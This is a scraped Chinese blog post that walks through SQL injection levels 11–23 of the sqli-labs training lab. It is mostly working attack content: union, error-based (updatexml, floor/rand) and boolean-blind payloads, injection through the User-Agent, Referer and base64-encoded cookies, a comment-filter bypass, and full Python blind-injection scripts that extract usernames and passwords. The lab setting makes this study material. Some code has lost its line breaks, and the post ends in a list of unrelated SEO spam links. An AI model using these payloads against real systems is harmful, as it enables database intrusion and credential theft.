当前位置: 首页 > news >正文

本地做网站绑定域名百度竞价返点开户

本地做网站绑定域名,百度竞价返点开户,ps做兼职在什么网站可以找到,网站用什么程序做的sql靶场(11-23) 目录 第十一关(post注入) 第十二关 第十三关 第十四关 第十五关 第十六关 第十七关 第十八关 第十九关 第二十关 第二十一关 第二十二关 第二十三关 第十一关(post注入) 查看…

sql靶场(11-23)

目录

第十一关(post注入)

第十二关

第十三关

第十四关

第十五关

第十六关

第十七关

第十八关

第十九关

第二十关

第二十一关

第二十二关

第二十三关


第十一关(post注入)

查看页面

我们发现是有注入点的,所以我们可以尝试使用联合查询注入

我们发现联合查询注入是可行的,接下来就是该爆数据库、表、字段和用户账号密码

aaa' union select 1,database()#
aaa' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='security'#
aaa' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
aaa' union select 1,group_concat(username ,0x3a , password) from users#

结果

第十二关

查看页面

尝试之后发现这一关和十一关只是闭合方式不同

aaa") union select 1,database()#
aaa") union select 1,group_concat(table_name) from information_schema.tables where table_schema ='security'#
aaa") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
aaa") union select 1,group_concat(username ,0x3a , password) from users#

结果

第十三关

查看页面,经过测试发现,只有报错注入可以回显,同时闭合方式也和之前有所不同。

aaa') and updatexml(1,user(),1)#
aaa') and updatexml(1,concat('~',(select database()),'~'),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#

由于只能显示一个字段,所以我们使用limit进行逐个输出(我这里只输出第一组用户名和密码,其余自己进行)

第十四关

查看页面,经过测试发现这一关和第十三关只是闭合方式不同,所以我们依旧需要使用报错注入进行注入

aaa" and updatexml(1,user(),1)#
aaa" and updatexml(1,concat('~',(select database()),'~'),1)#
aaa" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaa" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
aaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#

结果

第十五关

查看页面,经过不断测试,发现页面只有成功与失败两个界面,所以我的第一想法就是布尔盲注

所以我们使用脚本直接爆出来这关

import requests#爆破数据库名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": "aaaa' or ascii(substr(database(),%d,1))> %d#" % (i,mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name#爆破表名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": "aaa' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'), %d, 1)) > %d#" % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name#爆破列名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": "aaa' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), %d, 1)) > %d#" % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name#爆破用户和密码
def inject_database(url):name = ''for i in range(1, 20):min_value = 32max_value = 128mid = (min_value + max_value) // 2while min_value < max_value:data = {"uname": "aaa' or ascii(substr((select group_concat(username, 0x3a, password) from users), %d, 1)) > %d#" % (i, mid),"passwd": "aaa"}r = requests.post(url=url, data=data)if "flag.jpg" in r.text:min_value = mid + 1else:max_value = midmid = (min_value + max_value) // 2if mid == 32:breakname += chr(mid)print(name)return nameif __name__ == "__main__":url = 'http://127.0.0.1/sqllabs/Less-15/'inject_database(url)

结果

第十六关

查看页面发现这一关和第十五关只有闭合方式不一样

import requests#爆破数据库名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": 'aaaa") or ascii(substr(database(),%d,1))> %d#' % (i,mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name#爆破表名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": 'aaa") or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security"), %d, 1)) > %d#' % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name#爆破列名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": 'aaa") or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users"), %d, 1)) > %d#' % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name#爆破用户和密码
def inject_database(url):name = ''for i in range(1, 20):min_value = 32max_value = 128mid = (min_value + max_value) // 2while min_value < max_value:data = {"uname": 'aaa") or ascii(substr((select group_concat(username, 0x3a, password) from users), %d, 1)) > %d#' % (i, mid),"passwd": 'aaa'}r = requests.post(url=url, data=data)if "flag.jpg" in r.text:min_value = mid + 1else:max_value = midmid = (min_value + max_value) // 2if mid == 32:breakname += chr(mid)print(name)return nameif __name__ == "__main__":url = 'http://127.0.0.1/sqllabs/Less-16/'inject_database(url)

结果

第十七关

这一关查看源码后发现,username不能进行注入了,但是password依然可以进行注入,但是这就有一个前提条件就是username必须输入正确。可以这一关的页面后发现这一关其实就是改密码,既然是改密码那么你就必须知道用户名了

证明我的想法是正确的,就是在密码这里进行注入

aaa' and updatexml(1,user(),1)#
aaa' and updatexml(1,concat('~',(select database()),'~'),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
1' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)#

结果

很明显,成功爆出来用户名和密码啦,想要继续爆就修改limit后面的参数就可以啦。

第十八关

查看页面

这一关经过测试感觉和之前的有些区别啦,这时候我分析源码后发现注入点在user-agent上,所以我们可以试着抓包进行注入(使用抓包工具burpsuite进行抓包)

首先使用proxy模块进行抓包,抓取后发送到repeater模块进行分析修改

很明显可以看出来有注入点啦

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='11' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

很明显成功爆出来了他的用户名和密码。

第十九关

查看页面,感觉这一关和十八关有些类似

我直接进行了抓包,通过不断测试,发现注入点在referer上面

那么我就可以直接注入了

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='11' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

结果

第二十关

查看页面并登录成功后发现cookie在页面中有点突出

所以直接抓包修改cookie看是不是注入点,结果显而易见是注入点

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='1admin' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

结果

第二十一关

查看页面并成功登录后发现页面cookie进行了编码

那么我有理由猜测吧payload进行编码再注入,会不会爆出东西呢,试一试,

看来我猜测是没错,那么接下来就是把payload语句进行base64编码后在进行注入,这里不得不说burpsuite的优势了,自带编码模块(感觉挺爽得啦),payload放下面啦,自己进行编码吧

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='1admin' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

结果

第二十二关

查看页面并成功登录后发现页面的cookie依然进行了编码,那我有理由怀疑是不是闭合方式变了呢,直接试一试

因为这个也是需要进行base64编码,自己进行编码

aaa" and updatexml(1,concat(0x7e,(select user()),0x7e),1) and "1"="1aaa" and updatexml(1,concat('~',(select database()),'~'),1) and '1'="11" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'="11" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'="1admin" and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'="1

结果

第二十三关

查看页面后发现这一关又回到了我们的老朋友GET传参啦

试过好多后无从下手,解读源代码后发现这一关进行了过滤,

想了一下,既然过滤了注释符,娜美我们直接进行闭合试一试

经过测试发现我的想法是可行的,

那么进行全过程是爆破吧

爆表
http://127.0.0.1/sqllabs/less-23/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%27security%27%20and%20%271%27=%271爆字段
http://127.0.0.1/sqllabs/less-23/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20%271%27=%271爆用户和密码
http://127.0.0.1/sqllabs/less-23/?id=-1%27%20union%20select%201,2,group_concat(username%20,0x3a%20,%20password)%20from%20users%20where%20%271%27=%271

结果

接下来的24关我会放在单独的一片文档中,因为24关事二次注入,所以我还会引入两个ctf的二次注入

http://www.yidumall.com/news/5261.html

相关文章:

  • wordpress技术博客模板seo网站推广首页排名
  • php制作招聘网站各大搜索引擎网址
  • 有做微信婚介网站的吗宁德市人口
  • 百度站长平台注册百度手机端推广
  • 赣州章贡区旅游景点seo实战培训教程
  • 佛山做网站开发上海seo顾问推推蛙
  • 宁波建站方案精准推广
  • 律师网站模板优化seo网站
  • 加盟网站制作公司入门seo技术教程
  • 石家庄网站制作工具如何宣传推广自己的店铺
  • 外贸公司的网站建设模板外链是什么意思
  • 品牌商城网站开发品牌营销案例分析
  • 佛山网站制作外包兰州网络推广的平台
  • erp网站开发太原网站建设
  • 网站优化 推广河北seo人员
  • 做网站的工作有发展空间没有南京seo排名优化
  • 网站怎么自己做优化公司员工培训方案
  • 衍艺武汉网站设计公司关键词数据分析工具有哪些
  • 网站不见了推广的公司
  • 商家入驻网站开发满足seo需求的网站
  • wordpress建淘宝客网站吗域名138查询网
  • 做商城网站外包谷歌推广运营
  • 现在建网站百度seo搜索排名
  • 秦皇岛市住房和城乡建设局网站网络推广的细节
  • 安阳网站建设公司软件开发培训机构排名
  • 学校官方网站建设seo综合查询怎么用的
  • 深圳 网站开发国内高清视频素材网站推荐
  • 食品批发网seo秘籍优化课程
  • 网站做测试微商软文
  • 查看自己电脑的网站开发语言外包公司